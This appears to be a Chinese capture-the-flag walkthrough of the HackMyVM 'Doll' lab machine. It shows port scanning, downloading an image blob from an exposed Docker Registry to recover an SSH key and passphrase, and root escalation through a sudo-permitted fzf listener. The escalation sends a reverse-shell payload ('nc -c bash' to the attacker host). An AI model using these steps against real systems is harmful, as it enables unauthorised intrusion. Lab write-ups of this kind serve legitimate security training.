HackMyVm靶机Doll渗透实战详细过程
摘要: 本文记录了针对IP为192.168.31.253的靶机渗透测试过程。首先通过端口扫描发现开放了22(SSH)和1007(Docker Registry API)端口,利用Docker Registry API获取到镜像信息,提取出SSH私钥后成功登录系统。发现用户bela可以通过sudo无密码执行fzf命令,利用fzf的监听功能实现权限提升,最终获取root权限和flag。关键步骤包括:D
·
一.信息收集
主机IP
ip a192.168.31.217目标靶机IP扫描
arp-scan -l192.168.31.253端口扫描
nmap -p- -sV 192.168.31.25322/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) 1007/tcp open http Docker Registry (API: 2.0)目录扫描
dirsearch -u http://192.168.31.253:1007[22:02:38] 200 - 2B - /v2/ [22:02:38] 200 - 27B - /v2/_catalog
二.漏洞利用
通过 Docker Registry API获取有用信息
# 查看所有的镜像
#curl http://REGISTRY_HOST:PORT/v2/_catalog
curl http://192.168.31.253:1007/v2/_catalog
得到:{"repositories":["dolly"]}
# 查看镜像标签
#curl http://REGISTRY_HOST:PORT/v2/【IMAGE_NAME】/tags/list
curl http://192.168.31.253:1007/v2/dolly/tags/list
得到:{"name":"dolly","tags":["latest"]}
# 获取可疑镜像的 manifest(描述文件)
#curl http://10.0.0.1:5000/v2/IMAGE_NAME/manifests/【flag】
curl http://192.168.31.253:1007/v2/dolly/manifests/latest
得到:
"blobSum": "sha256:5f8746267271592fd43ed8a2c03cee11a14f28793f79c0fc4ef8066dac02e017"
passwd=devilcollectsit
#从指定的 HTTP 地址下载一个以 SHA256 哈希命名的二进制 Blob 文件,并将其保存为本地文件 1.tar
curl -s http://192.168.31.253:1007/v2/dolly/blobs/sha256:5f8746267271592fd43ed8a2c03cee11a14f28793f79c0fc4ef8066dac02e017 -o 1.tar
解压
tar -xf 1.tar
找到ssh私钥
cd home/bela/.ssh/
cat id_rsa
根据目录可知用户名为bela
连接ssh
ssh bela@192.168.31.253 -i id_rsa
密码为
devilcollectsit
flag为
bela@doll:~$ ls
user.txt
bela@doll:~$ cat user.txt
juHDnnGMYNIkVgfnMV
提权
发现有个fzf可以利用
bela@doll:~$ sudo -l
Matching Defaults entries for bela on doll:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User bela may run the following commands on doll:
(ALL) NOPASSWD: /usr/bin/fzf --listen\=1337
bela@doll:~$
fzf是什么?
fzf 是一个 命令行模糊查找器(fuzzy finder)。它主要用于交互式搜索和选择文件、命令历史、进程等,但支持一些高级功能可能被用于提权。
需要再次开启一个ssh连接,在主机上开启监听端口
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 1236
在第一个窗口运行fzf
bela@doll:~$ sudo /usr/bin/fzf --listen\=1337
在第二个窗口反弹到主机上
bela@doll:~$ curl -XPOST 127.0.0.1:1337 -d 'execute(nc -c bash 192.168.31.217 1235)'
就拿到了shell
┌──(root㉿kali)-[~]
└─# nc -lvnp 1236
listening on [any] 1236 ...
connect to [192.168.31.217] from (UNKNOWN) [192.168.31.253] 54426
id
uid=0(root) gid=0(root) grupos=0(root)
cat /root/root.txt
xwHTSMZljFuJERHmMV
更多推荐
所有评论(0)